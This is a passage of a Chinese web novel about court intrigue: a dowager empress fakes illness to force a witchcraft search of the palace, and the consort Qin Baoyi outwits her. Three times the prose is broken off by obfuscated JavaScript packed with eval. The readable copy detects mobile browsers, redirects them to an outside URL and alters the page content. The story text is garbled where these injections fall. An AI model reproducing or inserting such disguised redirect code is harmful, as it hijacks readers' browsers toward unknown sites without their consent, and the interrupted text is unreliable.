他走到她面前,屈膝跪下。膝盖触地的那一瞬,他的眼眶红了。他望着眼前这个苍老的妇人,望着那张被岁月磋磨得不成样子的脸,嘴唇动了动,声音哽咽: “母后……” 他磕下头去。三个响头,一个比一个重。额头触地,砰,砰,砰——每一声都像敲在人心上。 方氏伸出手,颤抖着扶住他的手臂,将他拉起来。她望着他,眼眶也红了,眼泪扑簌簌地落下来。 “好孩子……”她的声音发颤,“好孩子……” 母子俩抱头痛哭。 满殿的人都低着头,用帕子按着眼角。有人在抽泣,有人在叹息,有人偷偷抬眼,看着这感人至深的一幕。 秦宝宜坐在那里,冷眼看着。 她看着沈昱的眼泪,看着他通红的眼眶,看着他抱着方氏时微微颤抖的肩膀。她看着方氏的眼泪,看着她颤抖的手,看着她哭得上气不接下气却还能想起拍拍沈昱的后背。 她端起酒盏,抿了一口。 酒是温的,入口绵软,带着一丝若有若无的甜。她慢慢咽下去,又夹了一筷子面前的菜。 她吃着自己的饭,看着这出母慈子孝的好戏。 明日一早,沈昱的孝行便要传遍天下了。 终于,那抱头痛哭的戏码收了场。沈昱擦了擦眼泪,扶着方氏重新落座。方氏也擦了擦眼泪,端起酒盏,环顾四周,声音苍老却和蔼: “哀家老了,能活着回到宫里,见到皇上,已是万幸。今日这杯酒,敬诸位。” 众人纷纷举盏,一饮而尽。 秦宝宜也举起酒盏,抿了一口。她的目光从方氏脸上移开,落在另一个人身上—— 贤妃柳氏。 她今日格外殷勤。坐在沈昱右手边,频频为他布菜、斟酒,动作轻柔,笑容恰到好处。方氏几次看向她,目光里都带着满意。 秦宝宜端起酒盏,向她一举。 贤妃看见了。她微微一怔,旋即也举起酒盏,回敬了一下。两人隔空对饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那些嫔妃们纷纷垂下头,有的盯着自己的酒盏,有的望着面前的菜,有的用帕子按着嘴角,就是没有一个人敢抬眼。 秦宝宜收回目光,又看向方氏。她扯了扯沈昱的袖子,声音软软的,带着一丝恰到好处的委屈: “臣妾管了这几日后宫,累得很。太后入宫多年,肯定比臣妾经验老道。不如就请太后心疼心疼臣妾,接过这差事吧?” 方氏在行宫待了大半辈子,哪沾手过宫务。她在讽刺。 沈昱低头看着她。 她仰着脸,眉眼弯弯,笑盈盈的。那笑容他太熟悉了——从前她每次想偷懒时,都是这样看着他。 他的嘴角浮起一丝笑意。那笑意很浅,却实实在在。他挠了挠她的手心。 “别想偷懒。”他悄悄说,语气里带着宠溺。 然后他抬起头,看向方氏。 “贵妃年轻,日后还会有孩子的。”他说,声音不高不低,“何况皇后之位束缚颇多,朕真不忍心让宝宜受累。” 他顿了顿。 “还请母后谅解。” 方氏的目光在他脸上停了一息。那目光里有什么东西一闪而过——太快了,快到没有人能捕捉。 “皇上对你颇多宽纵。”她的声音还是和蔼的,“贵妃也要懂事,不能辜负皇上的心。” 秦宝宜垂下眼,轻轻“嗯”了一声。 一顿饭,各怀心思地吃完了。 方氏站起身。众人纷纷起身行礼。 她刚迈出一步,忽然身子一晃,脸一白,痛呼一声—— “啊——” 她两眼一翻,整个人往后倒去。身边的宫女惊叫着扶住她,她却软得像一摊泥,怎么扶都扶不住。 “母后!”沈昱几步冲过去,扶住她。 方氏躺在他怀里,脸色惨白,额角沁出细密的汗珠。她的嘴唇哆嗦着,声音断断续续: “头……哀家的头……” 太医很快被传了进来。 他跪在榻前,诊了又诊,脉摸了又摸。眉头越皱越紧,额角沁出汗来。最后他放下方氏的手腕,叩首道: “启禀皇上,太后脉象……并无异常。” “并无异常?”沈昱的声音沉下来,“太后痛成这样,你告诉朕并无异常?” 太医伏在地上,不敢抬头。 方氏躺在榻上,呻吟声越来越大。她双手抱着头,身子蜷缩成一团,像一只受惊的刺猬。那呻吟声尖利刺耳,一下一下,扎在人心上。 一旁,方氏带进宫的、那位名唤易香的嬷嬷走上前来。 “启禀皇上,奴婢有话要说。” “说。” “奴婢与太后在行宫时,常请清净庵的师太谈经。”那嬷嬷说,“曾听师太说起过,民间有一种巫邪之术,可害人于无形。” 她顿了顿。 “其症状在脉相上诊不出来。只是头痛欲裂、恶心食神。重者……危及性命。” 殿内倏地静下来。 嫔妃们面面相觑,脸色都变了。有人往后缩了缩,有人用帕子捂住嘴,有人忍不住往四周看,像是怕有什么看不见的东西突然冒出来。 “巫邪之术?”沈昱的声音沉沉的。 方氏的呻吟声越来越大。她抱着头,在床上滚来滚去,嘴里发出含混的喊叫。那声音尖利刺耳,听得人头皮发麻。 秦宝宜站在人群后面,看着这一幕,忽地笑出声来。 方氏在行宫耗了半辈子,的确有些不中用了。这套老掉牙的手段还用在宫里,说出去都让人笑话。 那笑声很清泠泠的,在满殿的寂静里,格外清晰。 所有人都在看她。 沈昱也看过来。他的目光落在她脸上,眉头微微蹙起。 “贵妃?” 秦宝宜从人群中走出来。她走到方氏榻前,低头看着那个蜷缩成一团的人。 然后她抬起头,看向沈昱。 “臣妾认识个清净庵的师太。”她说,声音不高不低,却清清楚楚地传进每一个人耳中,“专驱邪祟的。” 她顿了顿,笑了一下。像是没忍住。 “不如让她入宫,替太后瞧瞧?” 22. 闹剧 秦宝宜的话音刚落,方氏便掀了掀眼皮,然后继续呻吟起来。 “皇上……”她的声音断断续续,像是每说一个字都要耗尽力气,“不必为哀家这样兴师动众……传出去,不像话。” 她像模像样地喘了几口气,胸口剧烈起伏着,枯瘦的手攥着被角,攥得指节泛白。 “只要……把害哀家的人找出来就是。” 秦宝宜垂下眼,唇角微微翘起。 下一瞬,德妃的声音从人群后面传来—— “皇上。” 她走出来,一步一步,到沈昱面前站定。 “太后昨日才进宫,今日就身体不适。”她的声音不高不低,像她的琴声,一字一句都清清楚楚,“臣妾的璋儿、还有二皇子,也都是一入宫就生了病。” 那张清高的脸上,此刻带着一丝恰到好处的忧虑。不是丽嫔那种夸张的做派,也不是贤妃那种殷勤的讨好,而是一种——冷淡的、疏离的、却让人无法忽视的认真。 “别是……真有什么巫邪之术害人吧?” 她说这话时,语气里带着古板的迷信,像那些读过书、却偏偏更信这些怪力乱神的人。 “不如,就听太后娘娘的——”她收回目光,重新看向沈昱,一字一顿,“搜宫以正视听吧。” 沈昱的眉头蹙了起来。 “德妃。”他的声音沉下来,带着责备,“我大齐自开国以来,明令禁止怪力乱神之说。你是读过书的,怎么还跟着起哄?” 德妃垂下眼,不说话了。 但她那副模样,分明是在说:我说了,你不听,那便罢了。 方氏躺在榻上,听着这番对话,挣扎着撑起身子,声音虚弱却坚持: “皇上。” 沈昱转过头去。 方氏看着他,眼眶又红了—— “哀家一把老骨头,还能活几年?遭罪也就罢了。”她的声音发颤,带着一丝哽咽,“但皇嗣的安危……万万不可轻视啊。” 贤妃站在一旁,看着这一幕。 她今日本就打定了主意要抱紧太后的大腿。 那日秦宝宜递来的台阶,她爬了上去,她父亲因此擢升礼部侍郎。但她也知道,这恩典是皇上给的。 皇上的恩典从哪里来? 从太后这里来。 此刻她心里的算盘便打得啪啪响,揣度着——太后要搜宫。 “皇上。”她走上前,顺情说好话:“臣妾斗胆,有一言进谏。” “说。”沈昱看向她。 贤妃垂着眼,声音不疾不徐:“虽有祖制在前,可太后与两位皇子也确实病得蹊跷。不管是巫邪之术,还是有人捣鬼,未免人心惶惶,总要查明以正视听才是。” 她抬起眼,飞快地留意了沈昱的表情一眼,又垂下去。 “皇上若有顾忌,只趁夜悄悄搜查一番,不闹大就是了。” 方氏躺在榻上,虚弱地点了点头,一副深有同感的样子:“若不查明,放任自流,怕是要影响后宫安稳啊。” 沈昱沉默了一息。转过头,看向站在一旁的秦宝宜。 “贵妃怎么看?” “皇上登基以来,本就流言纷纷。”秦宝宜的声音不高不低,却清清楚楚地传进每一个人耳中,“若被有心人再将太后与皇嗣接连生病之事,与天象之说联系起来……” 她顿了顿,没有说下去。但所有人都听懂了她的未尽之言。 “可祖制在前……”她又说,语气里带着一丝恰到好处的迟疑。 贤妃眼睛一亮。 她可不会放过这个两边讨好的机会。秦宝宜递过来的台阶,她不仅要爬,还要爬得漂亮。 “既然如此,”她接过话头,声音里带着一丝恰到好处的积极,“不如就按贵妃娘娘所言,请清净庵的师太入宫瞧瞧。” 她自以为周全地继续道:“反正太后娘娘在行宫时也常听师太讲经。请她们入宫,也只说是讲经罢了。这样既能解决问题,又不会遭流言非议。” “倒不必如此麻烦……”方氏的声音虚弱,却带着一丝不易察觉的急切。显然是想起了慧检。 “能为太后做点什么,是臣妾等的福分。”秦宝宜笑眯眯地,恭敬着。 沈昱沉吟片刻。 “贤妃周全。”他说,“就按贤妃说的办吧。” 贤妃面上一喜,立刻垂下头,恭声道:“臣妾遵旨。” “那就有劳贤妃妹妹去安排清净庵的师太入宫,本宫去带人搜宫。”秦宝宜的声音响起来,避嫌似的,把清净庵的差事交给贤妃。 然后她转过身,声音带着乖顺:“臣妾也先去安排。” 沈昱点了点头。他伸出手,轻轻拍了拍她的手背。 “去吧。” 秦宝宜转身往外走。走到门口时,她停下来,回过头,看向那群嫔妃。 “诸位妹妹别在这站着打扰太后清静了。”她的声音不高不低,却带着一丝不容置疑的威严,“随本宫出来,看看有什么能帮得上忙的。” 她顿了顿,目光从那些脸上慢慢扫过。 “太后娘娘要搜宫,须得公正才是。”她说,“都在院子里候着,算是为人为己做个见证。” 嫔妃们面面相觑,却没人敢说什么。她们纷纷屈膝行礼,鱼贯而出。 秦宝宜又看向孙荣。 “你带几个伶俐的奴才守着门。别有人听说要搜宫,急着去打扫。” 沈昱摆了摆手:“听贵妃的。” 孙荣立刻躬身,带着几个太监,守在了殿门口。 院子里,嫔妃们三三两两地站着,交头接耳,窃窃私语。见秦宝宜出来,她们立刻噤了声,纷纷屈膝行礼。 秦宝宜走到二门处,贤妃已经在那里等着了。 贤妃迎上来,脸上带着恰到好处的殷勤。但走近了,那殷勤便淡了,取而代之的是带着羞赧的为难。 她咬了咬嘴唇,低声道:“求贵妃娘娘体恤。” 秦宝宜挑眉,等她说下去。 贤妃的声音压得更低了些,低得几乎是从喉咙里挤出来的: “嫔妾家中……嫔妾,实在不擅长与净庵的师太打交道。” 秦宝宜当然知道贤妃在说什么,她等的就是这句话。 京城高门大户的女眷们,最爱求神拜佛。一是求平安、求兴旺,再则是为了彰显财力地位。与皇寺、清净庵这样的地方打交道,一年没个万八千的银子花出去,可入不了这些和尚尼姑们的眼。 若想让这群人供你驱使,那就更是既要有门第、有权势,还得有海样的银子花出去。 贤妃家是清流,在这件事上,自然不够看了。 但若此时当着众位嫔妃的面,将实话说出来,又没面子。 “那……妹妹带人去搜宫?咱们换换?”秦宝宜一贯地通情达理。 “嫔妾谢娘娘体恤!”贤妃立刻屈膝行礼,声音里带着掩不住的欢喜。 秦宝宜伸手扶住她,“不如先让清净庵的师太们来瞧瞧。待她们走了,妹妹再去搜宫。” “免得搜宫的动静闹起来,这些外人出去了多嘴。”她顿了顿,“有辱皇家颜面。” 众人纷纷应和:“贵妃娘娘思虑周全。” 秦宝宜摆了摆手,示意众人散开。贤妃走出二门不一会儿,太后身边的易香也跟了过去。 两刻钟后,青黛带着人回来了。 清净庵只有个清净的名儿,实际坐落在京城最繁华热闹的地段,离皇宫不远。两刻钟的功夫,足够她把人请来。 “娘娘。”青黛走到秦宝宜面前,屈膝行礼,“这几位都是清净庵中德高望重的师太。为保公允,奴婢都请来了。” 秦宝宜的目光从那些人脸上慢慢扫过—— 七个人。为首的住持法号慧升,是永靖候府的常客。她看见秦宝宜,面上立刻堆起恰到好处的恭敬,双手合十,念了一声佛号。 最后面站着一个人,缩头夹尾的,努力把自己藏在人群里。慧检。 秦宝宜的目光也在她脸上停了一息,便移开了。 “青黛姑娘已将事情原委与贫尼等说了。”慧升走上前,声音不高不低,恰到好处,“娘娘放心,贫尼当尽全力,为太后娘娘排忧解难。” 秦宝宜点了点头,急道:“太后娘娘还疼着。诸位快开始吧。” 第一招,慧升巫邪喜金银之物,将他们打点好了,自然就走了。 孙荣拿来一个木头小箱,打开,里面足有七八个拳头大小的金锭子,在烛火下闪着温润的光。先皇驾崩,皇室私库里的东西,自然也由他继承下来。 慧升双手合十,念了一声佛号。她接过箱子,带着六个尼姑走到太后窗前。 “人杂,会打扰神明。”她说,声音不高不低,却不容置疑,“请诸位在此稍候。” 门关上了。 窗纸上,映出几个灰蒙蒙的影子,念念有词,来回走动。那诵经声嗡嗡的,像一群蜜蜂在远处盘旋,听不清念的是什么,只觉得沉闷压抑。 一炷香的功夫,门打开了。 慧升走出来,双手合十,满脸慈悲: “已将金银散去,为太后娘娘消灾。” 秦宝宜往窗内看了一眼,“看样子没用。” 方氏还躺在榻上,呻吟声比方才小了些,却还在继续——一下一下,像钝刀子割肉。 搜宫的目的还没达到,方氏自然不会“好起来”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方氏在水里挣扎着,手脚乱蹬,却怎么也挣不出那口大缸。她的声音闷在水里,听不清在喊什么,只听得见“咕嘟咕嘟”的水泡声,一下一下,像有什么东西在慢慢溺毙。 沈昱站在廊下,看着这一幕。 他的眉头微微蹙了一下。然后他转向孙荣,声音淡淡的: “还不快把太后扶出来。” 孙荣应了一声,立刻带着几个太监冲上去。 又是一阵乱。 有救人的,有忙着请罪的,有献殷勤的。 众人七手八脚地把方氏从缸里捞出来,她浑身湿透,头发散乱地贴在脸上,水珠顺着衣襟往下淌,在地上汇成一滩。她大口大口地喘着气,水鬼似的。 秦宝宜站在廊下,抿着嘴看着。 月光照在她脸上,将那张脸照得亮晶晶的。她的眉眼弯弯的,嘴角微微翘起,两个小梨涡若隐若现。 “看得开心?”沈昱的声音从身侧传来,低低的,像是耳语。 “开心。”秦宝宜说,声音懒懒的,带着一丝漫不经心,“太后平安,臣妾当然开心。” “开心就好。”沈昱说着,拉住了她的手,又挠了挠她的手心。 一下,两下。 秦宝宜的笑容顿了一瞬。 她的目光落在他手上,落在那只握着她的手。那只手她太熟悉了——修长,白皙,骨节分明。 从前,就是这双手替她写那些她不爱写的功课。 每一次“糊弄”师傅时,他都是这样,抿着嘴笑,偷偷挠挠她的手心。 成婚后,她是太子妃,他是太子。两人在人前都要端正严肃,从不做这些逾矩的小动作。 可登基后,他似乎不再紧绷着。笑容多了,更随意了。像十几岁的时候。他又把这些小动作找了回来。 秦宝宜的心尖颤了颤—— 然后她告诉自己:别上当。 他一直都很会装。 她重新抬起头,望向院子里那场闹剧。她的目光重新聚焦,落在那个人不像人、鬼不像鬼的“太后”身上。 方氏被扶到一旁,披着一件大氅,浑身发抖。她的头发还在往下滴水,脸色白得像纸,嘴唇青紫。她坐在那里,大口大口地喘着气,像是刚从鬼门关走了一遭。 贤妃走上前来,带着殷勤的急色,“皇上!太后娘娘可禁不起这样折腾。” 她顿了顿,扫了眼秦宝宜,又说: “依臣妾看……”她说,一字一顿,“还是先搜宫吧。” 23. 羞恼 贤妃带着人去搜宫时,秦宝宜吩咐青黛:“去,帮着侍候太后更衣。” 青黛应声而去。秦宝宜站在原地,看着那群人浩浩荡荡地往内殿方向去了,才转过身,走回廊下。 “皇上别担心,太后会没事的。” 沈昱沉默了一息,然后像闲谈似的: “你从前,见过太后没有?” 秦宝宜微微侧过头,像是在认真回想。 “皇上比臣妾年长五岁,”她说,“臣妾出生时,太后已经去行宫了。” 她顿了顿,抬起眼,看着他。 “皇上呢?”她问,“皇上对太后的印象,是什么样的?” 沈昱的目光落在虚空某处,望着那一片被月光照得发白的宫墙。他沉默了很久,久到秦宝宜以为他不会回答了。 然后他开口了。 “朕其实……”他的声音顿了一下,像是在斟酌用词,“对方氏没什么印象。若非她今日站在这,朕怕是都认不出。” 秦宝宜的心跳又快了一拍。她的手轻轻攥紧了袖子,又松开。她望着他,面上带着恰到好处的关切,声音放得很轻: “这二十多年,皇上难道一次也没见过太后?” 沈昱的目光还是望着那一片宫墙。月光照在他脸上,将他的侧脸勾勒得清清冷冷的,像一尊玉雕的像。 “见过一次。”他说,声音低低的,像是在说一件很久远的事,“十五岁的时候,随先皇去行宫避暑。朕带着阳安一起,偷偷去见过她一面。” 他顿了顿,面上浮起一丝极淡的遗憾。 “那时,她待朕很生分,很冷漠。”他说,声音里带着困惑:“但她待阳安,却很亲近。” 秦宝宜的心猛地一缩。方氏不是沈昱的生母吗? 但既然先皇后用了“血统”——这样重的两个字。那就不仅仅是生母存疑。 难道是方氏偷龙转凤? 可是,沈昱的话,又能信多少? 他知道她去了玄清观,知道她见了冯坤,知道她手里有那块令牌。他会不会是在误导她?会不会是在用这些模棱两可的话,试探她知道多少? 秦宝宜感受到他的目光,抬眸,安抚似的笑了一下。 “一晃,阳安姐姐也有六七年没回京了。”她说,声音里带着怀念,“真是有些想她。” 在这个世上,对方氏最熟悉的可能只剩阳安了。 “下月太后寿辰,朕想大办一场,以全孝心。”他说,“到时,你会见到阳安的。” 他顿了顿,转过头来,看着她,“还有镇北王世子,届时也会入京。” 秦宝宜的心猛地一跳。 “沈阙?”她的声音不自觉大了些,带着一丝掩不住的惊讶,“他来做什么?” 沈昱挑眉,看着她。 秦宝宜意识到自己的失态,垂下眼,声音放缓解释: “从前随我爹去北境时,沈阙常捉弄臣妾。” 她说的是实话。 秦家和镇北王,一个是边将,一个是亲王,同在北地,亲厚自不必说。但秦宝宜和与她同岁的沈阙,却从小就水火不容,一见面就掐。 一晃近十年过去,她都有点记不清沈阙的样子了。 正说着,贤妃回来了。 她雄赳赳地走在前头,身后浩浩荡荡跟着一群内侍省的宫人,还有孙荣。 孙荣走在最后面,脸色不太好看。他时不时抬眼看看前面,又垂下眼去,脚步越来越慢,像是恨不得这条路再长一些,永远走不到头。 见皇上和贵妃站在廊下说话,气氛不错,孙荣的脸色更难看了。他站在那里,进也不是,退也不是,一张脸皱得像苦瓜。 沈昱看了他一眼,“怎么了?” 孙荣咬了咬牙,硬着头皮走上前来。他躬着身子,双手呈上一样东西,声音发颤: “皇上,贤妃娘娘带着奴才们,在正阳宫内殿……搜出来这么个东西。” 秦宝宜的目光落在他手上。 那是一个金漆木雕的小盒子,巴掌大小,雕工精细,盒面上刻着黑色的梵文,弯弯曲曲的,看着就让人觉得陌生、不祥。 盒上挂着一把小锁,那锁也不是寻常样式的,铜制的,锁身上也刻着同样的梵文。 秦宝宜的脸色微微一变。 她看着那盒子,看着那上面陌生的文字,看着那把小锁——她的脸忽然红了。那红从脸颊一路蔓延到耳根,红得像是要滴出血来。 她咬着下唇,飞快地看了沈昱一眼,又垂下眼去。 沈昱接过那盒子,拿在手里看了看。他翻来覆去地看了几遍,然后抬起眼,看向贤妃。 “有何异样?”他问。 贤妃飞快瞥了一眼站在一旁的易香。收回目光,上前一步,声音恭谨: “这盒子……看着不像是宫里的。”她说,“而且这样式、文字,都有些可疑。” 她顿了顿,目光往旁边一扫,落在那些还没来得及离开的清净庵师太身上。 “请师太们留步,来看看这东西可有异样?” 秦宝宜飞快地抬起眼,往师太们那边看了一眼。 慧升站在最前面,正要开口说话,却对上秦宝宜的目光。嘴又闭上了。 但她身后,有一个人却动了。 慧检从人群后面挤出来,不再是缩头夹尾的。她走到贤妃面前,双手合十,念了一声佛号。 然后她接过那盒子,拿在手里,上上下下端详着。 她的目光从那黑色的梵文上扫过,从那把小锁上扫过,又从那些雕工精细的花纹上扫过。她看得很仔细,像是在研究什么稀世珍宝。 然后她抬起头,看向沈昱。 “回皇上,”她说,声音清清楚楚地传进每一个人耳中,“依贫尼看,此物并非我中原佛教之物,想必有些蹊跷。” 沈昱没有说话。他的目光从慧检脸上移开,落在那盒子上,又从那盒子上移开,落在秦宝宜脸上。 “贵妃怎么说?”他问。 秦宝宜站在那里,满脸的为难。她看着那盒子,看着那上面的黑色梵文,看着那把小锁——她的脸更红了,红得像是要烧起来。 “臣妾……”她说,声音软软的,带着一丝恰到好处的央求,“皇上别看。” 她上前一步,扯了扯沈昱的袖子。那动作很小,很轻,却像一根羽毛,轻轻挠在人心上。 “皇上……”她又唤他,声音软得像化了的蜜,“别看,好不好?” “皇上!”方氏的声音从殿门口传来。 秦宝宜转过头去。 方氏站在殿门口,已换好了干净衣裳。她披着一件灰鼠皮的大氅,头发还是湿的,贴在脸上,还有些狼狈痕迹。但她的眼睛是亮的——那双眼睛紧紧地盯着那盒子,像是盯着什么宝贝。 她走过来,脚步还是一跛一跛的,每走一步都要顿一顿。她走到沈昱面前,站定,目光从那盒子上扫过,又落回秦宝宜脸上。 “皇上,”她说,声音虚弱却坚持,“要明察以正视听。” 她顿了顿,目光里闪过一丝不易察觉的得意。 “众目睽睽之下,”她说,“皇上再行包庇,至我大齐律法于何地?” 秦宝宜的脸更红了。她咬着下唇,像是急得不知如何是好。她的手还攥着沈昱的袖子,攥得紧紧的,指节都泛了白。 “皇上……”她的声音带着一丝哭腔,“别打开……” “贵妃这是心虚了?”方氏问,声音不高不低,却清清楚楚地传进每一个人耳中。 秦宝宜的脸涨得通红。她松开沈昱的袖子,站在那里,像是被逼到了墙角的小兽,无处可逃。 然后她抬起头,看向方氏—— “不知太后要如何处置臣妾?”她问,声音里满是破罐破摔的无奈。 方氏的目光在她脸上停了一息。那目光里有什么东西一闪而过——太快了,快到没有人能捕捉。 然后她开口了,一字一顿,像是早就在心里背熟了无数遍: “我大齐明令禁止巫邪之术,”她说,“有蓄蛊未成形者,流放;成形并用于害人者,处绞刑;亦受连坐处罚,抄家,三代不得入仕。” 她顿了顿,看着秦宝宜。 “既然在贵妃宫里搜出此物,”她说,“自然按律处置。” 秦宝宜的手垂在身侧,微微发着抖。她望着那盒子,望着那上面的黑色梵文,望着那把小锁——然后她忽然抬起头,看向沈昱。 “皇上若非要看,”她说,一字一顿,“就打开吧!” 她转过身,看向青黛。 “开锁。”她说。 青黛手伸进袖子里,麻利地摸出一把玲珑精致的小钥匙。 那钥匙是金的,小小的,在月光下闪着温润的光。 青黛走上前,把那钥匙插进锁孔里。 ——咔哒。 锁开了。 所有人的目光都落在那盒子上。 沈昱伸出手,打开盒盖。 盒子里只有一张字条,折得方方正正的,静静地躺在那里。 他捻起那张字条,展开。 月光照在上面,照亮了那上面的字迹——娟秀的小字,一笔一划,写得认认真真: 同心同德同入帐,早生贵子满床欢。 方氏探过头来,目光也落在那字条上。 这下,脸是真白了。 这一套连招,对方氏来说简直是羞辱。她兴师动众要“按律处置”,结果不过是人家夫妻的小情趣。 秦宝宜站在那里,看着她的脸色,嘴角微微翘起。 沈昱的目光从那字条上移开,落在秦宝宜脸上。 秦宝宜的脸红得像五月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282767|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的榴花。她一把夺过那字条,攥在手心里,声音里带着她少女时才有的羞恼—— “皇上既看过了,”她娇嗔:“总算相信臣妾了吧!” 沈昱手握成拳,挡在嘴边。他的肩膀轻轻颤动着,像是在忍着什么。 他在笑。 秦宝宜脸上的飞红还没消。转过头,看向方氏—— “不知臣妾何处惹得太后不满,”她说,带着薄怒:“让您如此地为难?” 方氏的嘴唇哆嗦着。她想说什么,却什么都说不出来。她的手抬起来,按在额头上,身子晃了晃,像是要倒下去。 “哀家的头……”她的声音虚弱,带着一丝恰到好处的痛苦,“哀家的头又疼了……” 同样的招数,第二次用,就只剩可笑了。 沈昱摇了摇头,像是终于被这场拙劣的闹剧耗尽了耐心。 秦宝宜收回目光,落在贤妃脸上。 贤妃站在那里,目瞪口呆。她的嘴微微张着,眼睛瞪得大大的,看着方氏,看着秦宝宜,看着沈昱——像是完全不明白发生了什么。 秦宝宜看着她,开口:“既搜了本宫的正阳宫,那别处也要一视同仁才是。” 她顿了顿,目光从贤妃脸上移开,扫过那些嫔妃,最后落在那群还没走的清净庵师太身上。 “这次,”她说,“本宫跟着你同去,免得什么脏水都往本宫的身上泼。” 她的目光在那群人里扫了一圈,最后落在慧检身上。 “看这位师太,”她说,“在辨认巫邪之术上颇有见地。一起来吧!” 慧检的脸比方氏还白。 她站在那里,缩着头,夹着尾,像一只受惊的老鼠。 沈昱的目光从秦宝宜脸上移开,落在她手里那张字条上。那字条被她攥得皱皱巴巴的,只露出一角,上面那几个字还依稀可见。 他伸出手,轻轻从她手里抽出那张字条。 秦宝宜转过头来看他。他却没有看她,只是把那张字条折好,收进袖中。 然后他抬起头,面向众人—— “既然正阳宫搜过,”他说,声音不高不低,“贵妃清白。那接下来的事,便全权交由贵妃处置。” 他顿了顿,吩咐:“孙荣留下协助贵妃。” 然后他转过身,往慈宁宫外走去。 方氏的脸更白了。 她靠在宫女身上,眼睛半闭着,呻吟声还在继续。但她的眼皮轻轻颤动着—— 皇上这是……看出什么了? 秦宝宜收回目光,扫了一眼在场众人。 “走吧。”她说。 她带着贤妃、德妃,从东至西,一处一处地搜过去。 关雎宫。钟粹宫。永和宫。承乾宫。 一处一处,搜得仔仔细细。 那些嫔妃们站在院子里,看着那些内侍省的宫人进进出出,翻箱倒柜。有人脸色发白,有人战战兢兢,有人强撑着笑脸。 但什么都没有搜出来。 一路搜过去,一无所获。 天色已经微微发白了。东方的天际泛起一丝鱼肚白,把整座皇宫笼罩在一片灰蒙蒙的光里。 所有人都熬得精疲力竭。 贤妃的脸色也不好。她跟在秦宝宜身后,脚步越来越慢,眼皮越来越重。她打了个哈欠,又强撑着睁开眼。 “还有最后一处……” 秦宝宜抬起头,望向不远处那座宫殿。 流云殿。 慧嫔的住处。 慧嫔上前,亲手推开殿门。 “嫔妾这地方小,”她说,声音不高不低,“娘娘请随意搜。” 秦宝宜迈步走进去。 流云殿不大,布置也简单。正殿里摆着几张桌椅,墙上挂着一幅山水画,窗边摆着一张琴。 那些内侍省的宫人鱼贯而入,开始翻检。 秦宝宜站在正殿中央,目光从那幅山水画上扫过,从那架琴上扫过,从那些简单的摆设上扫过。 然后她的目光落在一个角落里。 那里摆着一个小几,底下藏着个木头盒子。 她的目光在那盒子上停了一息。 贤妃顺着她的目光看过去,也看见了那个盒子。她的眼睛亮了一下,精神头立刻上来了。她几步走过去,拿起那盒子,打开—— 里面不过是一串沉香木的佛珠,珠子光滑圆润,散发着淡淡的香气。 贤妃的脸上闪过一丝失望。她把盒子放回去,正要转身,却听见一声惊呼—— “这是什么?” 一个内侍省的宫人站在西偏殿门口,手里捧着一个盒子。那盒子是金漆木雕的,巴掌大小,盒面上刻着黑色的梵文。 月光从窗棂里漏进来,照在那盒子上,照亮了那些弯弯曲曲的文字。 与正阳宫搜出来的那个,几乎一模一样。 24. 错乱 “娘娘瞧瞧这个盒子!” 贤妃献宝似的将那金漆木雕的小盒递到秦宝宜手上,动作急切得近乎失态。 从那张闺阁诗字条被翻出来的一刻,她就意识到事情不对劲了——暗恨自己被加官晋爵冲昏了头脑,忘了谨慎行事。 这一夜,她提心吊胆地跟在秦宝宜身后搜宫,生怕下一道雷劈在自己身上。此刻终于有了新发现,她恨不得立刻把这烫手山芋甩出去。 秦宝宜接过盒子。 月光已经淡了,天边泛起鱼肚白,灰蒙蒙的光线从殿门外漏进来,落在那盒盖上。 黑色的梵文弯弯曲曲,与昨夜从她正阳宫搜出来的那个——一模一样。 但,这盒子……她没见过。 准确的说,是她见过,但不该又出现在这里。 沈昱不在宫里的那些日子,她有足够的时间在慈宁宫安插人手。所以方氏收买奴才、把那刻着梵文的盒子藏进她寝殿时,她第一时间就知道了。 那盒子里原本装的,是个写着方氏和沈昱生辰八字的纸扎小人。她把纸人拿出来,换成了那首“同心同德同入帐”的闺阁诗,等着鱼儿咬钩。 然后她把那个纸人,放进另一个更不起眼的木头盒子里,让人藏在慧嫔床脚。就是方才翻出来的那个。 她想试试——海东国在大齐后宫到底安插了多少人手。以及,方氏与海东国,究竟有无干系。 可此刻,那木头盒子里的纸人,却变成了一串沉香木佛珠。 反而又出现第二个、金漆木雕的、刻着梵文的盒子。 这太诡异了。 晨光从窗棂的缝隙里渗进来,一寸一寸地爬过地砖,落在那盒盖上。 秦宝宜盯着那些弯弯曲曲的梵文,只觉得那线条像一条条蠕动的虫,顺着她的目光往手心里钻。 她感觉到掌心渗出细密的汗,湿漉漉的,黏在漆面上。 “请娘娘示下。”孙荣看她出神,轻声提醒。 “去请皇上。”她说。 孙荣应声要退。 “慢着。”秦宝宜又叫住他,“本宫亲自去请。” 她转过身,看向贤妃。贤妃站在三步开外,眼里藏着掩不住的惴惴——显然也意识到了危险,不想继续掺合这事。 “贤妃与慧嫔一起回慈宁宫等着。”秦宝宜说,“待太后起了,回禀。” 贤妃张了张嘴,想说什么,却被秦宝宜的目光压了回去。她垂下眼,屈膝行礼:“是。” 秦宝宜转身要走。 “贵妃娘娘留步。”慧嫔的声音从身后传来,一如既往的镇定淡然。 秦宝宜停住脚步,没有回头。 身后传来脚步声,轻得几乎没有。然后一只手搭上她的手腕——凉的,细长的,指腹带着薄薄的茧。 